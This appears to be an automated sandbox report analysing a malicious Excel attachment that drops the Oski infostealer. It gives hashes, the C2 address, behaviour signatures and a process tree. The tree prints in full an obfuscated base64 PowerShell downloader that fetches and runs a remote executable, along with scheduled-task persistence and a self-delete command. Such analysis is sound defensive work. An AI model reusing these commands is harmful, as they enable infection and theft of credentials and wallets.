Analysis
-
max time kernel
122s -
max time network
164s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
06/08/2021, 13:54
Static task
static1
Behavioral task
behavioral1
Sample
SAMPLE ORDER .xls
Resource
win7v20210410
Behavioral task
behavioral2
Sample
SAMPLE ORDER .xls
Resource
win10v20210410
General
-
Target
SAMPLE ORDER .xls
-
Size
43KB
-
MD5
bc998900cfb06a407c973873ba745776
-
SHA1
232f5703a4744258407157e9f3b06b4c15171ef8
-
SHA256
78bbff7297f8be0a95a2c3942c7c8d80bd6d68bc561543ba7c4275eb2e15e649
-
SHA512
f80a6648c48ae90d9819cf1297358e1da2503a7a6dfad8398d78bdc9d8c6d02bde409b49ff4033fc70f1512003673c381a052491c431d7ff719abe1ac7b0d473
Malware Config
Extracted
oski
185.212.131.198/ww/
Signatures
-
Oski
Oski is an infostealer targeting browser data, crypto wallets.
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 1628 1304 cmd.exe 24 -
Downloads MZ/PE file
-
Loads dropped DLL 5 IoCs
pid Process 556 lzzn.exe 556 lzzn.exe 556 lzzn.exe 556 lzzn.exe 556 lzzn.exe -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 824 set thread context of 556 824 lzzn.exe 36 -
Office loads VBA resources, possible macro or embedded object present
-
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString lzzn.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1572 schtasks.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Kills process with taskkill 1 IoCs
pid Process 364 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1304 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 760 powershell.exe 760 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 760 powershell.exe Token: SeDebugPrivilege 364 taskkill.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1304 EXCEL.EXE 1304 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1304 EXCEL.EXE 1304 EXCEL.EXE 1304 EXCEL.EXE -
Suspicious use of WriteProcessMemory 34 IoCs
description pid Process procid_target PID 1304 wrote to memory of 1628 1304 EXCEL.EXE 29 PID 1304 wrote to memory of 1628 1304 EXCEL.EXE 29 PID 1304 wrote to memory of 1628 1304 EXCEL.EXE 29 PID 1304 wrote to memory of 1628 1304 EXCEL.EXE 29 PID 1628 wrote to memory of 760 1628 cmd.exe 31 PID 1628 wrote to memory of 760 1628 cmd.exe 31 PID 1628 wrote to memory of 760 1628 cmd.exe 31 PID 1628 wrote to memory of 760 1628 cmd.exe 31 PID 760 wrote to memory of 824 760 powershell.exe 33 PID 760 wrote to memory of 824 760 powershell.exe 33 PID 760 wrote to memory of 824 760 powershell.exe 33 PID 760 wrote to memory of 824 760 powershell.exe 33 PID 824 wrote to memory of 1572 824 lzzn.exe 34 PID 824 wrote to memory of 1572 824 lzzn.exe 34 PID 824 wrote to memory of 1572 824 lzzn.exe 34 PID 824 wrote to memory of 1572 824 lzzn.exe 34 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 824 wrote to memory of 556 824 lzzn.exe 36 PID 556 wrote to memory of 1784 556 lzzn.exe 39 PID 556 wrote to memory of 1784 556 lzzn.exe 39 PID 556 wrote to memory of 1784 556 lzzn.exe 39 PID 556 wrote to memory of 1784 556 lzzn.exe 39 PID 1784 wrote to memory of 364 1784 cmd.exe 41 PID 1784 wrote to memory of 364 1784 cmd.exe 41 PID 1784 wrote to memory of 364 1784 cmd.exe 41 PID 1784 wrote to memory of 364 1784 cmd.exe 41
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\SAMPLE ORDER .xls"1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1304 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c pO^W^Ers^He^LL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOWErsHeLL -e WwBzAFkAUwBUAEUAbQAuAHQARQB4AFQALgBFAE4AQwBPAEQASQBOAGcAXQA6ADoAdQBOAGkAQwBvAGQAZQAuAEcARQB0AHMAdAByAGkAbgBHACgAWwBTAHkAUwB0AGUAbQAuAGMATwBuAHYARQBSAFQAXQA6ADoAZgByAE8ATQBCAEEAUwBlADYANABTAFQAcgBpAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcASQBBAGIAZwBCAHcAQQBIAGMAQQBkAEEAQgBxAEEASABrAEEAYwB3AEIAeQBBAEcAbwBBAGQAUQBCAGoAQQBIAGMAQQBaAGcAQgBzAEEARwBvAEEAYQB3AEIAbQBBAEcAcwBBAGMAUQBCAGkAQQBIAFkAQQBkAGcAQgAzAEEAQwBBAEEASwBBAEEAZwBBAEMAUQBBAGEAUQBCAHQAQQBIAFkAQQBaAFEAQgBqAEEASABRAEEAYwB3AEIAagBBAEgARQBBAFkAUQBCADMAQQBHADAAQQBkAHcAQgBqAEEARwBnAEEAYQBBAEIAawBBAEgAVQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAzAEEARwBnAEEAYwB3AEIAbgBBAEgASQBBAGQAdwBCAGkAQQBIAE0AQQBjAGcAQgBtAEEARwBzAEEAWgBBAEIAcgBBAEcAYwBBAGMAdwBCADAAQQBHADQAQQBhAEEAQgB2AEEAQwBBAEEASwBRAEEATgBBAEEAbwBBAGUAdwBBAGcAQQBHAGsAQQBUAFEAQgBRAEEARwA4AEEAVQBnAEIAVQBBAEMAMABBAGIAUQBCAHYAQQBFAFEAQQBWAFEAQgBzAEEARwBVAEEASQBBAEIAaQBBAEcAawBBAFYAQQBCAHoAQQBIAFEAQQBjAGcAQgBCAEEARQA0AEEAVQB3AEIAbQBBAEUAVQBBAGMAZwBBADcAQQBBADAAQQBDAGcAQgBUAEEASABRAEEAUQBRAEIAUwBBAEgAUQBBAEwAUQBCAEMAQQBFAGsAQQBkAEEAQgB6AEEARgBRAEEAVQBnAEIAQgBBAEUANABBAGMAdwBCAEcAQQBFAFUAQQBjAGcAQQBnAEEAQwAwAEEAYwB3AEIAUABBAEYAVQBBAGMAZwBCAGoAQQBHAFUAQQBJAEEAQQBrAEEARwBrAEEAYgBRAEIAMgBBAEcAVQBBAFkAdwBCADAAQQBIAE0AQQBZAHcAQgB4AEEARwBFAEEAZAB3AEIAdABBAEgAYwBBAFkAdwBCAG8AQQBHAGcAQQBaAEEAQgAxAEEAQwBBAEEATABRAEIARQBBAEUAVQBBAGMAdwBCADAAQQBHAGsAQQBUAGcAQgBoAEEASABRAEEAYQBRAEIAUABBAEcANABBAEkAQQBBAGsAQQBIAGMAQQBhAEEAQgB6AEEARwBjAEEAYwBnAEIAMwBBAEcASQBBAGMAdwBCAHkAQQBHAFkAQQBhAHcAQgBrAEEARwBzAEEAWgB3AEIAegBBAEgAUQBBAGIAZwBCAG8AQQBHADgAQQBPAHcAQQBnAEEAQwBZAEEASQBBAEEAawBBAEgAYwBBAGEAQQBCAHoAQQBHAGMAQQBjAGcAQgAzAEEARwBJAEEAYwB3AEIAeQBBAEcAWQBBAGEAdwBCAGsAQQBHAHMAQQBaAHcAQgB6AEEASABRAEEAYgBnAEIAbwBBAEcAOABBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEAUABRAEEAawBBAEUAVQBBAGIAZwBCAFcAQQBEAG8AQQBkAEEAQgBGAEEARwAwAEEAYwBBAEEAcgBBAEMAYwBBAFgAQQBCAHMAQQBIAG8AQQBlAGcAQgB1AEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBpAEEARwA0AEEAYwBBAEIAMwBBAEgAUQBBAGEAZwBCADUAQQBIAE0AQQBjAGcAQgBxAEEASABVAEEAWQB3AEIAMwBBAEcAWQBBAGIAQQBCAHEAQQBHAHMAQQBaAGcAQgByAEEASABFAEEAWQBnAEIAMgBBAEgAWQBBAGQAdwBBAGcAQQBDAGMAQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFkAQQBMAGcAQQB4AEEARABnAEEATQB3AEEAdQBBAEQASQBBAE0AZwBBAHoAQQBDADQAQQBNAHcAQQAwAEEAQwA4AEEAUgB3AEIANABBAEcATQBBAFEAUQBCAGsAQQBHAGsAQQBlAGcAQgBXAEEARwA0AEEAVABRAEIAdQBBAEQARQBBAFUAZwBCAEMAQQBFADgAQQBMAGcAQgBsAEEASABnAEEAWgBRAEEAbgBBAEMAQQBBAEoAQQBCAHkAQQBHAHMAQQBaAGcAQgBwAEEARwBvAEEAYwBnAEIAdQBBAEgAZwBBAGUAUQBCADUAQQBHAFEAQQBZAGcAQgB0AEEASABjAEEAWQB3AEIAawBBAEcAdwBBAGIAZwBCADUAQQBIAGsAQQBkAFEAQgBpAEEARwBVAEEAYQBBAEIAaQBBAEQAcwBBAEQAUQBBAEsAQQBHAEkAQQBiAGcAQgB3AEEASABjAEEAZABBAEIAcQBBAEgAawBBAGMAdwBCAHkAQQBHAG8AQQBkAFEAQgBqAEEASABjAEEAWgBnAEIAcwBBAEcAbwBBAGEAdwBCAG0AQQBHAHMAQQBjAFEAQgBpAEEASABZAEEAZABnAEIAMwBBAEMAQQBBAEoAdwBCAG8AQQBIAFEAQQBkAEEAQgB3AEEARABvAEEATAB3AEEAdgBBAEQAUQBBAE4AZwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQwA0AEEATQBnAEEAeQBBAEQATQBBAEwAZwBBAHoAQQBEAFEAQQBMAHcAQgBIAEEASABnAEEAWQB3AEIAQgBBAEcAUQBBAGEAUQBCADYAQQBGAFkAQQBiAGcAQgBOAEEARwA0AEEATQBRAEIAUwBBAEUASQBBAFQAdwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAawBBAEgASQBBAGEAdwBCAG0AQQBHAGsAQQBhAGcAQgB5AEEARwA0AEEAZQBBAEIANQBBAEgAawBBAFoAQQBCAGkAQQBHADAAQQBkAHcAQgBqAEEARwBRAEEAYgBBAEIAdQBBAEgAawBBAGUAUQBCADEAQQBHAEkAQQBaAFEAQgBvAEEARwBJAEEATwB3AEEATgBBAEEAbwBBAFkAZwBCAHUAQQBIAEEAQQBkAHcAQgAwAEEARwBvAEEAZQBRAEIAegBBAEgASQBBAGEAZwBCADEAQQBHAE0AQQBkAHcAQgBtAEEARwB3AEEAYQBnAEIAcgBBAEcAWQBBAGEAdwBCAHgAQQBHAEkAQQBkAGcAQgAyAEEASABjAEEASQBBAEEAbgBBAEcAZwBBAGQAQQBCADAAQQBIAEEAQQBPAGcAQQB2AEEAQwA4AEEATgBBAEEAMgBBAEMANABBAE0AUQBBADQAQQBEAE0AQQBMAGcAQQB5AEEARABJAEEATQB3AEEAdQBBAEQATQBBAE4AQQBBAHYAQQBFAGMAQQBlAEEAQgBqAEEARQBFAEEAWgBBAEIAcABBAEgAbwBBAFYAZwBCAHUAQQBFADAAQQBiAGcAQQB4AEEARgBJAEEAUQBnAEIAUABBAEMANABBAFoAUQBCADQAQQBHAFUAQQBKAHcAQQBnAEEAQwBRAEEAYwBnAEIAcgBBAEcAWQBBAGEAUQBCAHEAQQBIAEkAQQBiAGcAQgA0AEEASABrAEEAZQBRAEIAawBBAEcASQBBAGIAUQBCADMAQQBHAE0AQQBaAEEAQgBzAEEARwA0AEEAZQBRAEIANQBBAEgAVQBBAFkAZwBCAGwAQQBHAGcAQQBZAGcAQQA3AEEAQQAwAEEAQwBnAEIAOQBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEAIgApACkAfABJAGUAWAA=3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:760 -
C:\Users\Admin\AppData\Local\Temp\lzzn.exe"C:\Users\Admin\AppData\Local\Temp\lzzn.exe"4⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:824 -
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\BqppCjWADhQ" /XML "C:\Users\Admin\AppData\Local\Temp\tmp2694.tmp"5⤵
- Creates scheduled task(s)
PID:1572
-
-
C:\Users\Admin\AppData\Local\Temp\lzzn.exe"C:\Users\Admin\AppData\Local\Temp\lzzn.exe"5⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /pid 556 & erase C:\Users\Admin\AppData\Local\Temp\lzzn.exe & RD /S /Q C:\\ProgramData\\123557748826003\\* & exit6⤵
- Suspicious use of WriteProcessMemory
PID:1784 -
C:\Windows\SysWOW64\taskkill.exetaskkill /pid 5567⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:364
-
-
-
-
-
-